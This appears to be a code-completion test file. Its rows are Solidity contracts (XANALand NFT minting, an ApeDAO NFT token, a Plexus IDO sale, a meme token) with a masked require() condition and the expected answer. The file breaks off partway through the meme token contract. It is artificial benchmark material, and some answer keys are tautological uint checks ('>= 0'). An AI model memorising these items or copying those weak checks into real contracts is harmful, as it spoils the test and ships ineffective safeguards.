function mintAdmin(address to_, uint256 countNFTs_, uint256 _size, string memory rarity) checkSupply(countNFTs_,_size, rarity) public onlyOwner {
}
}
| rates[_size][rarity].valid,"XanaLand: Plot size not valid" | 177,926 | rates[_size][rarity].valid |
"XanaLand: Invalid" | pragma solidity ^0.8.14;
contract XANALand is ProxyBaseStorage, ERC721AQueryable, Ownable, ReentrancyGuard, Storage {
using Strings for uint256;
using Address for address;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol){}
function mintNFT(address to,uint256 _mintAmount, string memory rarity, uint256 _size, bool isDiscount) internal {
}
function calculateDiscount(uint256 _size, string memory rarity) public view returns(uint256) {
}
//Discounted Mint Function
function mintDiscountCommon(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount,4, "Common") external payable {
}
function checkWhiteList( uint256 _mintAmount, bytes32[] calldata proof, uint256 whitelistType, bool isLimit) nonReentrant internal returns (bool){
}
//Mint Common Category
function mintLand(string memory rarity,uint256 _mintAmount, uint256 _size, bytes32[] calldata proof, bool isLimit, uint256 whitelistType) checkSupply(_mintAmount,_size, rarity) external payable {
require(rates[_size][rarity].valid, "XanaLand: Plot size not valid" );
require(<FILL_ME>)
if(status == 2) require(whitelistType == 0, "XanaLand: only public sale");
else require(whitelistType != 0, "XanaLand: ");
require(checkWhiteList(_mintAmount, proof, whitelistType, isLimit), "XanaLand: Not whitelisted");
//Check user buy limit merkle t
_userBought[whitelistType][msg.sender] += _mintAmount;
//check user purchase amount
require(msg.value >= SafeMath.mul(rates[_size][rarity].cost,_mintAmount), "XanaLand: Paid amount insufficient");
//Minting Land NFTs as per sent amount above
mintNFT(msg.sender,_mintAmount, rarity, _size, false);
}
//Only for staking Users
function freeMint(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount, 5, "Common") external{
}
// internal
function _baseURI() internal override view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId) public override view virtual returns (string memory) {
}
//Merkle tree whitelist methods
function isWhitelisted(address account, bytes32[] calldata proof, uint256 quantity, uint256 typeWhitelist) public view returns (bool) {
}
function _leaf(address account, uint256 quantity) public pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] memory proof,bytes32 root) internal pure returns (bool) {
}
//only owner methods
//set whitelist
function setWhitelistRoot(bytes32 newWhitelistroot, uint256 typeWhitelist, uint256 startTime, uint256 endTime, uint256 supply, string[] memory rarties) public onlyOwner {
}
function removeWhiteList(uint256 typeWhitelist, string memory rarity) public onlyOwner {
}
//Set max supply of land ( = 75330 )
function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner {
}
//OffCHain metaData uri settings
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
//Set discount percentage
function setDiscount(uint256 percentage) public onlyOwner {
}
//0 = Sale not started
//1 = Only whitelisted/Staking
//2 = Public Sale
function setSaleStatus(uint256 _status) public onlyOwner {
}
function setPerTransactionLimit(uint256 limit) public onlyOwner {
}
//Set max supply, cost per category and size.
function setRate(uint256 _size, uint256 _cost, uint256 _total, string memory _rarity) public onlyOwner {
}
function setLockUp(uint256[] memory _nftIds,uint256[] memory _timestamps) public onlyOwner{
}
//to withdraw funds
function withdraw() public onlyOwner {
}
function mintAdmin(address to_, uint256 countNFTs_, uint256 _size, string memory rarity) checkSupply(countNFTs_,_size, rarity) public onlyOwner {
}
}
| isWhitelistFor[whitelistType][rarity],"XanaLand: Invalid" | 177,926 | isWhitelistFor[whitelistType][rarity] |
"XanaLand: Not whitelisted" | pragma solidity ^0.8.14;
contract XANALand is ProxyBaseStorage, ERC721AQueryable, Ownable, ReentrancyGuard, Storage {
using Strings for uint256;
using Address for address;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol){}
function mintNFT(address to,uint256 _mintAmount, string memory rarity, uint256 _size, bool isDiscount) internal {
}
function calculateDiscount(uint256 _size, string memory rarity) public view returns(uint256) {
}
//Discounted Mint Function
function mintDiscountCommon(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount,4, "Common") external payable {
}
function checkWhiteList( uint256 _mintAmount, bytes32[] calldata proof, uint256 whitelistType, bool isLimit) nonReentrant internal returns (bool){
}
//Mint Common Category
function mintLand(string memory rarity,uint256 _mintAmount, uint256 _size, bytes32[] calldata proof, bool isLimit, uint256 whitelistType) checkSupply(_mintAmount,_size, rarity) external payable {
require(rates[_size][rarity].valid, "XanaLand: Plot size not valid" );
require(isWhitelistFor[whitelistType][rarity], "XanaLand: Invalid");
if(status == 2) require(whitelistType == 0, "XanaLand: only public sale");
else require(whitelistType != 0, "XanaLand: ");
require(<FILL_ME>)
//Check user buy limit merkle t
_userBought[whitelistType][msg.sender] += _mintAmount;
//check user purchase amount
require(msg.value >= SafeMath.mul(rates[_size][rarity].cost,_mintAmount), "XanaLand: Paid amount insufficient");
//Minting Land NFTs as per sent amount above
mintNFT(msg.sender,_mintAmount, rarity, _size, false);
}
//Only for staking Users
function freeMint(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount, 5, "Common") external{
}
// internal
function _baseURI() internal override view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId) public override view virtual returns (string memory) {
}
//Merkle tree whitelist methods
function isWhitelisted(address account, bytes32[] calldata proof, uint256 quantity, uint256 typeWhitelist) public view returns (bool) {
}
function _leaf(address account, uint256 quantity) public pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] memory proof,bytes32 root) internal pure returns (bool) {
}
//only owner methods
//set whitelist
function setWhitelistRoot(bytes32 newWhitelistroot, uint256 typeWhitelist, uint256 startTime, uint256 endTime, uint256 supply, string[] memory rarties) public onlyOwner {
}
function removeWhiteList(uint256 typeWhitelist, string memory rarity) public onlyOwner {
}
//Set max supply of land ( = 75330 )
function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner {
}
//OffCHain metaData uri settings
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
//Set discount percentage
function setDiscount(uint256 percentage) public onlyOwner {
}
//0 = Sale not started
//1 = Only whitelisted/Staking
//2 = Public Sale
function setSaleStatus(uint256 _status) public onlyOwner {
}
function setPerTransactionLimit(uint256 limit) public onlyOwner {
}
//Set max supply, cost per category and size.
function setRate(uint256 _size, uint256 _cost, uint256 _total, string memory _rarity) public onlyOwner {
}
function setLockUp(uint256[] memory _nftIds,uint256[] memory _timestamps) public onlyOwner{
}
//to withdraw funds
function withdraw() public onlyOwner {
}
function mintAdmin(address to_, uint256 countNFTs_, uint256 _size, string memory rarity) checkSupply(countNFTs_,_size, rarity) public onlyOwner {
}
}
| checkWhiteList(_mintAmount,proof,whitelistType,isLimit),"XanaLand: Not whitelisted" | 177,926 | checkWhiteList(_mintAmount,proof,whitelistType,isLimit) |
"XanaLand: Not whitelisted" | pragma solidity ^0.8.14;
contract XANALand is ProxyBaseStorage, ERC721AQueryable, Ownable, ReentrancyGuard, Storage {
using Strings for uint256;
using Address for address;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol){}
function mintNFT(address to,uint256 _mintAmount, string memory rarity, uint256 _size, bool isDiscount) internal {
}
function calculateDiscount(uint256 _size, string memory rarity) public view returns(uint256) {
}
//Discounted Mint Function
function mintDiscountCommon(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount,4, "Common") external payable {
}
function checkWhiteList( uint256 _mintAmount, bytes32[] calldata proof, uint256 whitelistType, bool isLimit) nonReentrant internal returns (bool){
}
//Mint Common Category
function mintLand(string memory rarity,uint256 _mintAmount, uint256 _size, bytes32[] calldata proof, bool isLimit, uint256 whitelistType) checkSupply(_mintAmount,_size, rarity) external payable {
}
//Only for staking Users
function freeMint(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount, 5, "Common") external{
string memory rarity = "Common";
uint256 _size=1;
//To check allowed buy amount from staking per user
require(<FILL_ME>)
_userBought[5][msg.sender] += _mintAmount;
//Minting Land NFTs as per sent amount above
mintNFT(msg.sender,_mintAmount, rarity, _size, false);
}
// internal
function _baseURI() internal override view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId) public override view virtual returns (string memory) {
}
//Merkle tree whitelist methods
function isWhitelisted(address account, bytes32[] calldata proof, uint256 quantity, uint256 typeWhitelist) public view returns (bool) {
}
function _leaf(address account, uint256 quantity) public pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] memory proof,bytes32 root) internal pure returns (bool) {
}
//only owner methods
//set whitelist
function setWhitelistRoot(bytes32 newWhitelistroot, uint256 typeWhitelist, uint256 startTime, uint256 endTime, uint256 supply, string[] memory rarties) public onlyOwner {
}
function removeWhiteList(uint256 typeWhitelist, string memory rarity) public onlyOwner {
}
//Set max supply of land ( = 75330 )
function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner {
}
//OffCHain metaData uri settings
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
//Set discount percentage
function setDiscount(uint256 percentage) public onlyOwner {
}
//0 = Sale not started
//1 = Only whitelisted/Staking
//2 = Public Sale
function setSaleStatus(uint256 _status) public onlyOwner {
}
function setPerTransactionLimit(uint256 limit) public onlyOwner {
}
//Set max supply, cost per category and size.
function setRate(uint256 _size, uint256 _cost, uint256 _total, string memory _rarity) public onlyOwner {
}
function setLockUp(uint256[] memory _nftIds,uint256[] memory _timestamps) public onlyOwner{
}
//to withdraw funds
function withdraw() public onlyOwner {
}
function mintAdmin(address to_, uint256 countNFTs_, uint256 _size, string memory rarity) checkSupply(countNFTs_,_size, rarity) public onlyOwner {
}
}
| checkWhiteList(_mintAmount,proof,5,true),"XanaLand: Not whitelisted" | 177,926 | checkWhiteList(_mintAmount,proof,5,true) |
"UUID does not exist." | pragma solidity ^0.8.0;
// SPDX-License-Identifier: UNLICENSED
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract ApeDAOToken is ERC721, ERC721Pausable, Ownable {
event TokenCreated(string uuid, address to);
event BaseURISet(string uri);
address public proxyMinter; // only account that can call mintFor()
string private _baseTokenURI;
mapping (uint256 => bytes32) private tokenIdToUuid; // Maps token id to UUID
mapping (bytes32 => uint256) private uuidToTokenId; // Maps UUID to token id
mapping (uint256 => string) private tokenURIMap;
constructor(string memory baseTokenURI) ERC721("APEDAONFT", "APDNFT") {
}
function createToken(uint256 tokenId, string memory uuid, address to) public onlyOwner {
}
function mintFor(address to, uint256 amount, bytes memory mintingBlob) public {
}
function getTokenIdOfUUID(string memory uuid) public view returns (uint256) {
bytes32 uuid32 = UUIDStringToBytes32(uuid);
require(<FILL_ME>)
return uuidToTokenId[uuid32];
}
function getUUIDOfTokenId(uint256 tokenId) public view returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setBaseTokenURI(string memory uri) public onlyOwner {
}
function setTokenURI(uint256 tokenId, string memory uri) public onlyOwner {
}
function clearTokenURI(uint256 tokenId) public onlyOwner {
}
function pause() public virtual onlyOwner {
}
function unpause() public virtual onlyOwner {
}
function setProxyMinter(address proxy) public onlyOwner {
}
// ------- Internal functions below here:
function createTokenWithId(uint256 tokenId, bytes32 uuid, address to) internal {
}
// Parses a mintingBlob with {tokenId1}:{uuid1}{tokenId2}:{uuid2} and then returns them
// Example: {1}:{e9071858-e63b-4f27-92d7-0603235c0b8c}{2}:{f23a1b52-e63b-3f77-42d7-3603235c1b42}
function parseMintingBlob(bytes memory mintingBlob, uint256 amount) internal pure returns (uint256[] memory, bytes32[] memory) {
}
function parseMintingBlobTokenId(bytes memory mintingBlob, uint start) internal pure returns (uint256, uint256) {
}
function parseMintingBlobUUID(bytes memory mintingBlob, uint start) internal pure returns (bytes32, uint256) {
}
function uuidExists(bytes32 uuid) internal view returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Pausable) {
}
// Converts a bytes32 UUID to a UUID string with dashes
// e9071858e63b4f2792d70603235c0b8c => e9071858-e63b-4f27-92d7-0603235c0b8c
function bytes32ToUUIDString(bytes32 b) internal pure returns (string memory) {
}
// Converts a UUID string with dashes into a bytes32 UUID without dashes
// e9071858-e63b-4f27-92d7-0603235c0b8c => e9071858e63b4f2792d70603235c0b8c
function UUIDStringToBytes32(string memory s) internal pure returns (bytes32) {
}
}
| uuidExists(uuid32),"UUID does not exist." | 178,044 | uuidExists(uuid32) |
"PLEXUS : Insufficient amount." | pragma solidity 0.6.12;
import "../libraries/SafeMath.sol";
import "../interfaces/IERC20.sol";
import "../libraries/TransferHelper.sol";
contract PublicIDO {
using SafeMath for uint256;
address public immutable dev;
address public immutable usdt;
address public plexus;
uint256 public price;
uint256 public priceP2;
uint256 public idoStartTime;
uint256 public idoEndTime;
uint256 public idoStartTimeP2;
uint256 public idoEndTimeP2;
uint256 public lockupBlock;
uint256 public claimDuringBlock;
uint256 public plexusTotalValue;
uint256 public plexusTotalValueP2;
uint256 public usdtHardCap;
uint256 public usdtSoftCap;
uint256 public userHardCap;
uint256 public userSoftCap;
uint256 public usdtHardCapP2;
uint256 public usdtSoftCapP2;
uint256 public userHardCapP2;
uint256 public userSoftCapP2;
uint256 public usdtTotalReciveAmount;
uint256 public usdtTotalReciveAmountP2;
address[] public userAddress;
address[] public userAddressP2;
uint256 public USDT_ACC_PRECESION = 1e6;
uint256 public PLX_ACC_PRECESION = 1e18;
struct UserInfo {
uint256 amount;
uint256 amountP2;
uint256 totalReward;
uint256 lastRewardBlock;
uint256 recivePLX;
}
mapping(address => UserInfo) public userInfo;
mapping(address => uint256) public userId;
mapping(address => uint256) public userIdP2;
event Deposit(address user, uint256 userDepositAmount, uint256 userPLXTotalReward);
event Claim(address user, uint256 userClaimAmount, uint256 userRecivePLX);
event refund(address user, uint256 refundAmount);
constructor(address _usdt, address _plexus) public {
}
function init(
uint256 _plxTotalValue,
uint256 _usdtHardCap,
uint256 _usdtSoftCap,
uint256 _userHardCap,
uint256 _userSoftCap
) public {
}
function initP2(
uint256 _plxTotalValueP2,
uint256 _usdtHardCapP2,
uint256 _usdtSoftCapP2,
uint256 _userHardCapP2,
uint256 _userSoftCapP2
) public {
}
function userLength() public view returns (uint256 user) {
}
function userP2Length() public view returns (uint256 user) {
}
function deposit(uint256 _userDepositAmount) public {
require(block.timestamp >= idoStartTime && block.timestamp <= idoEndTime, "PLEXUS : This is not IDO time.");
require(<FILL_ME>)
require(
_userDepositAmount >= userSoftCap && _userDepositAmount <= userHardCap,
"PLEXUS : The amount is less than softcap. or The amount exceeds your personal hardcap. "
);
uint256 userDepositAmountInt = (_userDepositAmount / price) * price;
require(
usdtHardCap.sub(usdtTotalReciveAmount).sub(userDepositAmountInt) >= 0,
"PLEXUS : The deposit amount exceeds the hardcap."
);
IERC20(usdt).transferFrom(msg.sender, address(this), userDepositAmountInt);
if (userAddress.length == 0 || (userId[msg.sender] == 0 && userAddress[0] != msg.sender)) {
userAddress.push(msg.sender);
userId[msg.sender] = userAddress.length - 1;
}
UserInfo memory user = userInfo[msg.sender];
user.amount += userDepositAmountInt;
require(user.amount <= userHardCap, "PLEXUS : The deposit amount exceeds the hardcap.");
usdtTotalReciveAmount += userDepositAmountInt;
user.totalReward += (userDepositAmountInt)
.div((usdtHardCap / USDT_ACC_PRECESION).mul(USDT_ACC_PRECESION) / (plexusTotalValue / PLX_ACC_PRECESION))
.mul(PLX_ACC_PRECESION);
userInfo[msg.sender] = user;
emit Deposit(msg.sender, user.amount, user.totalReward);
}
function depositP2(uint256 _userDepositAmount) public {
}
function pendingClaim(address _user) public view returns (uint256 pendingAmount) {
}
function claim(address _user) public {
}
function close(uint256 roopStart, uint256 roopEnd) public {
}
function closeP2(uint256 roopStart, uint256 roopEnd) public {
}
function emergencyWithdraw() public {
}
function setLockupBlock(uint256 _launchingBlock) public {
}
function setIdoTime(uint256 _startTime, uint256 _endTime) public {
}
function setIdoTimeP2(uint256 _startTime, uint256 _endTime) public {
}
function idoClosePlxWithdraw() public {
}
function idoClosePlxWithdrawP2() public {
}
}
| IERC20(usdt).balanceOf(msg.sender)>=_userDepositAmount,"PLEXUS : Insufficient amount." | 178,143 | IERC20(usdt).balanceOf(msg.sender)>=_userDepositAmount |
"PLEXUS : The deposit amount exceeds the hardcap." | pragma solidity 0.6.12;
import "../libraries/SafeMath.sol";
import "../interfaces/IERC20.sol";
import "../libraries/TransferHelper.sol";
contract PublicIDO {
using SafeMath for uint256;
address public immutable dev;
address public immutable usdt;
address public plexus;
uint256 public price;
uint256 public priceP2;
uint256 public idoStartTime;
uint256 public idoEndTime;
uint256 public idoStartTimeP2;
uint256 public idoEndTimeP2;
uint256 public lockupBlock;
uint256 public claimDuringBlock;
uint256 public plexusTotalValue;
uint256 public plexusTotalValueP2;
uint256 public usdtHardCap;
uint256 public usdtSoftCap;
uint256 public userHardCap;
uint256 public userSoftCap;
uint256 public usdtHardCapP2;
uint256 public usdtSoftCapP2;
uint256 public userHardCapP2;
uint256 public userSoftCapP2;
uint256 public usdtTotalReciveAmount;
uint256 public usdtTotalReciveAmountP2;
address[] public userAddress;
address[] public userAddressP2;
uint256 public USDT_ACC_PRECESION = 1e6;
uint256 public PLX_ACC_PRECESION = 1e18;
struct UserInfo {
uint256 amount;
uint256 amountP2;
uint256 totalReward;
uint256 lastRewardBlock;
uint256 recivePLX;
}
mapping(address => UserInfo) public userInfo;
mapping(address => uint256) public userId;
mapping(address => uint256) public userIdP2;
event Deposit(address user, uint256 userDepositAmount, uint256 userPLXTotalReward);
event Claim(address user, uint256 userClaimAmount, uint256 userRecivePLX);
event refund(address user, uint256 refundAmount);
constructor(address _usdt, address _plexus) public {
}
function init(
uint256 _plxTotalValue,
uint256 _usdtHardCap,
uint256 _usdtSoftCap,
uint256 _userHardCap,
uint256 _userSoftCap
) public {
}
function initP2(
uint256 _plxTotalValueP2,
uint256 _usdtHardCapP2,
uint256 _usdtSoftCapP2,
uint256 _userHardCapP2,
uint256 _userSoftCapP2
) public {
}
function userLength() public view returns (uint256 user) {
}
function userP2Length() public view returns (uint256 user) {
}
function deposit(uint256 _userDepositAmount) public {
require(block.timestamp >= idoStartTime && block.timestamp <= idoEndTime, "PLEXUS : This is not IDO time.");
require(IERC20(usdt).balanceOf(msg.sender) >= _userDepositAmount, "PLEXUS : Insufficient amount.");
require(
_userDepositAmount >= userSoftCap && _userDepositAmount <= userHardCap,
"PLEXUS : The amount is less than softcap. or The amount exceeds your personal hardcap. "
);
uint256 userDepositAmountInt = (_userDepositAmount / price) * price;
require(<FILL_ME>)
IERC20(usdt).transferFrom(msg.sender, address(this), userDepositAmountInt);
if (userAddress.length == 0 || (userId[msg.sender] == 0 && userAddress[0] != msg.sender)) {
userAddress.push(msg.sender);
userId[msg.sender] = userAddress.length - 1;
}
UserInfo memory user = userInfo[msg.sender];
user.amount += userDepositAmountInt;
require(user.amount <= userHardCap, "PLEXUS : The deposit amount exceeds the hardcap.");
usdtTotalReciveAmount += userDepositAmountInt;
user.totalReward += (userDepositAmountInt)
.div((usdtHardCap / USDT_ACC_PRECESION).mul(USDT_ACC_PRECESION) / (plexusTotalValue / PLX_ACC_PRECESION))
.mul(PLX_ACC_PRECESION);
userInfo[msg.sender] = user;
emit Deposit(msg.sender, user.amount, user.totalReward);
}
function depositP2(uint256 _userDepositAmount) public {
}
function pendingClaim(address _user) public view returns (uint256 pendingAmount) {
}
function claim(address _user) public {
}
function close(uint256 roopStart, uint256 roopEnd) public {
}
function closeP2(uint256 roopStart, uint256 roopEnd) public {
}
function emergencyWithdraw() public {
}
function setLockupBlock(uint256 _launchingBlock) public {
}
function setIdoTime(uint256 _startTime, uint256 _endTime) public {
}
function setIdoTimeP2(uint256 _startTime, uint256 _endTime) public {
}
function idoClosePlxWithdraw() public {
}
function idoClosePlxWithdrawP2() public {
}
}
| usdtHardCap.sub(usdtTotalReciveAmount).sub(userDepositAmountInt)>=0,"PLEXUS : The deposit amount exceeds the hardcap." | 178,143 | usdtHardCap.sub(usdtTotalReciveAmount).sub(userDepositAmountInt)>=0 |
"PLEXUS : The deposit amount exceeds the hardcap." | pragma solidity 0.6.12;
import "../libraries/SafeMath.sol";
import "../interfaces/IERC20.sol";
import "../libraries/TransferHelper.sol";
contract PublicIDO {
using SafeMath for uint256;
address public immutable dev;
address public immutable usdt;
address public plexus;
uint256 public price;
uint256 public priceP2;
uint256 public idoStartTime;
uint256 public idoEndTime;
uint256 public idoStartTimeP2;
uint256 public idoEndTimeP2;
uint256 public lockupBlock;
uint256 public claimDuringBlock;
uint256 public plexusTotalValue;
uint256 public plexusTotalValueP2;
uint256 public usdtHardCap;
uint256 public usdtSoftCap;
uint256 public userHardCap;
uint256 public userSoftCap;
uint256 public usdtHardCapP2;
uint256 public usdtSoftCapP2;
uint256 public userHardCapP2;
uint256 public userSoftCapP2;
uint256 public usdtTotalReciveAmount;
uint256 public usdtTotalReciveAmountP2;
address[] public userAddress;
address[] public userAddressP2;
uint256 public USDT_ACC_PRECESION = 1e6;
uint256 public PLX_ACC_PRECESION = 1e18;
struct UserInfo {
uint256 amount;
uint256 amountP2;
uint256 totalReward;
uint256 lastRewardBlock;
uint256 recivePLX;
}
mapping(address => UserInfo) public userInfo;
mapping(address => uint256) public userId;
mapping(address => uint256) public userIdP2;
event Deposit(address user, uint256 userDepositAmount, uint256 userPLXTotalReward);
event Claim(address user, uint256 userClaimAmount, uint256 userRecivePLX);
event refund(address user, uint256 refundAmount);
constructor(address _usdt, address _plexus) public {
}
function init(
uint256 _plxTotalValue,
uint256 _usdtHardCap,
uint256 _usdtSoftCap,
uint256 _userHardCap,
uint256 _userSoftCap
) public {
}
function initP2(
uint256 _plxTotalValueP2,
uint256 _usdtHardCapP2,
uint256 _usdtSoftCapP2,
uint256 _userHardCapP2,
uint256 _userSoftCapP2
) public {
}
function userLength() public view returns (uint256 user) {
}
function userP2Length() public view returns (uint256 user) {
}
function deposit(uint256 _userDepositAmount) public {
}
function depositP2(uint256 _userDepositAmount) public {
require(block.timestamp >= idoStartTimeP2 && block.timestamp <= idoEndTimeP2, "PLEXUS : This is not IDO time.");
require(IERC20(usdt).balanceOf(msg.sender) >= _userDepositAmount, "PLEXUS : Insufficient amount.");
require(<FILL_ME>)
require(
_userDepositAmount >= userSoftCapP2 && _userDepositAmount <= userHardCapP2,
"PLEXUS : The amount is less than softcap. or The amount exceeds your personal hardcap. "
);
uint256 userDepositAmountInt = (_userDepositAmount / priceP2) * priceP2;
require(
usdtHardCapP2.sub(usdtTotalReciveAmountP2).sub(userDepositAmountInt) >= 0,
"PLEXUS : The deposit amount exceeds the hardcap."
);
IERC20(usdt).transferFrom(msg.sender, address(this), userDepositAmountInt);
if (userAddressP2.length == 0 || (userIdP2[msg.sender] == 0 && userAddressP2[0] != msg.sender)) {
userAddressP2.push(msg.sender);
userIdP2[msg.sender] = userAddressP2.length - 1;
}
UserInfo memory user = userInfo[msg.sender];
user.amountP2 += userDepositAmountInt;
require(user.amountP2 <= userHardCapP2);
usdtTotalReciveAmountP2 += userDepositAmountInt;
user.totalReward += (userDepositAmountInt)
.div(
(usdtHardCapP2 / USDT_ACC_PRECESION).mul(USDT_ACC_PRECESION) / (plexusTotalValueP2 / PLX_ACC_PRECESION)
)
.mul(PLX_ACC_PRECESION);
userInfo[msg.sender] = user;
emit Deposit(msg.sender, user.amountP2, user.totalReward);
}
function pendingClaim(address _user) public view returns (uint256 pendingAmount) {
}
function claim(address _user) public {
}
function close(uint256 roopStart, uint256 roopEnd) public {
}
function closeP2(uint256 roopStart, uint256 roopEnd) public {
}
function emergencyWithdraw() public {
}
function setLockupBlock(uint256 _launchingBlock) public {
}
function setIdoTime(uint256 _startTime, uint256 _endTime) public {
}
function setIdoTimeP2(uint256 _startTime, uint256 _endTime) public {
}
function idoClosePlxWithdraw() public {
}
function idoClosePlxWithdrawP2() public {
}
}
| usdtHardCapP2.sub(usdtTotalReciveAmountP2)>=_userDepositAmount,"PLEXUS : The deposit amount exceeds the hardcap." | 178,143 | usdtHardCapP2.sub(usdtTotalReciveAmountP2)>=_userDepositAmount |
"PLEXUS : The deposit amount exceeds the hardcap." | pragma solidity 0.6.12;
import "../libraries/SafeMath.sol";
import "../interfaces/IERC20.sol";
import "../libraries/TransferHelper.sol";
contract PublicIDO {
using SafeMath for uint256;
address public immutable dev;
address public immutable usdt;
address public plexus;
uint256 public price;
uint256 public priceP2;
uint256 public idoStartTime;
uint256 public idoEndTime;
uint256 public idoStartTimeP2;
uint256 public idoEndTimeP2;
uint256 public lockupBlock;
uint256 public claimDuringBlock;
uint256 public plexusTotalValue;
uint256 public plexusTotalValueP2;
uint256 public usdtHardCap;
uint256 public usdtSoftCap;
uint256 public userHardCap;
uint256 public userSoftCap;
uint256 public usdtHardCapP2;
uint256 public usdtSoftCapP2;
uint256 public userHardCapP2;
uint256 public userSoftCapP2;
uint256 public usdtTotalReciveAmount;
uint256 public usdtTotalReciveAmountP2;
address[] public userAddress;
address[] public userAddressP2;
uint256 public USDT_ACC_PRECESION = 1e6;
uint256 public PLX_ACC_PRECESION = 1e18;
struct UserInfo {
uint256 amount;
uint256 amountP2;
uint256 totalReward;
uint256 lastRewardBlock;
uint256 recivePLX;
}
mapping(address => UserInfo) public userInfo;
mapping(address => uint256) public userId;
mapping(address => uint256) public userIdP2;
event Deposit(address user, uint256 userDepositAmount, uint256 userPLXTotalReward);
event Claim(address user, uint256 userClaimAmount, uint256 userRecivePLX);
event refund(address user, uint256 refundAmount);
constructor(address _usdt, address _plexus) public {
}
function init(
uint256 _plxTotalValue,
uint256 _usdtHardCap,
uint256 _usdtSoftCap,
uint256 _userHardCap,
uint256 _userSoftCap
) public {
}
function initP2(
uint256 _plxTotalValueP2,
uint256 _usdtHardCapP2,
uint256 _usdtSoftCapP2,
uint256 _userHardCapP2,
uint256 _userSoftCapP2
) public {
}
function userLength() public view returns (uint256 user) {
}
function userP2Length() public view returns (uint256 user) {
}
function deposit(uint256 _userDepositAmount) public {
}
function depositP2(uint256 _userDepositAmount) public {
require(block.timestamp >= idoStartTimeP2 && block.timestamp <= idoEndTimeP2, "PLEXUS : This is not IDO time.");
require(IERC20(usdt).balanceOf(msg.sender) >= _userDepositAmount, "PLEXUS : Insufficient amount.");
require(
usdtHardCapP2.sub(usdtTotalReciveAmountP2) >= _userDepositAmount,
"PLEXUS : The deposit amount exceeds the hardcap."
);
require(
_userDepositAmount >= userSoftCapP2 && _userDepositAmount <= userHardCapP2,
"PLEXUS : The amount is less than softcap. or The amount exceeds your personal hardcap. "
);
uint256 userDepositAmountInt = (_userDepositAmount / priceP2) * priceP2;
require(<FILL_ME>)
IERC20(usdt).transferFrom(msg.sender, address(this), userDepositAmountInt);
if (userAddressP2.length == 0 || (userIdP2[msg.sender] == 0 && userAddressP2[0] != msg.sender)) {
userAddressP2.push(msg.sender);
userIdP2[msg.sender] = userAddressP2.length - 1;
}
UserInfo memory user = userInfo[msg.sender];
user.amountP2 += userDepositAmountInt;
require(user.amountP2 <= userHardCapP2);
usdtTotalReciveAmountP2 += userDepositAmountInt;
user.totalReward += (userDepositAmountInt)
.div(
(usdtHardCapP2 / USDT_ACC_PRECESION).mul(USDT_ACC_PRECESION) / (plexusTotalValueP2 / PLX_ACC_PRECESION)
)
.mul(PLX_ACC_PRECESION);
userInfo[msg.sender] = user;
emit Deposit(msg.sender, user.amountP2, user.totalReward);
}
function pendingClaim(address _user) public view returns (uint256 pendingAmount) {
}
function claim(address _user) public {
}
function close(uint256 roopStart, uint256 roopEnd) public {
}
function closeP2(uint256 roopStart, uint256 roopEnd) public {
}
function emergencyWithdraw() public {
}
function setLockupBlock(uint256 _launchingBlock) public {
}
function setIdoTime(uint256 _startTime, uint256 _endTime) public {
}
function setIdoTimeP2(uint256 _startTime, uint256 _endTime) public {
}
function idoClosePlxWithdraw() public {
}
function idoClosePlxWithdrawP2() public {
}
}
| usdtHardCapP2.sub(usdtTotalReciveAmountP2).sub(userDepositAmountInt)>=0,"PLEXUS : The deposit amount exceeds the hardcap." | 178,143 | usdtHardCapP2.sub(usdtTotalReciveAmountP2).sub(userDepositAmountInt)>=0 |
"Only one transfer per block allowed." | /*
Pepe Express $PTE
TWITTER: https://twitter.com/Pepe_Express
TELEGRAM: https://t.me/PepeExpress
WEBSITE: https://pepeerc.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjlye(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjlye(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IuniswapRouter {
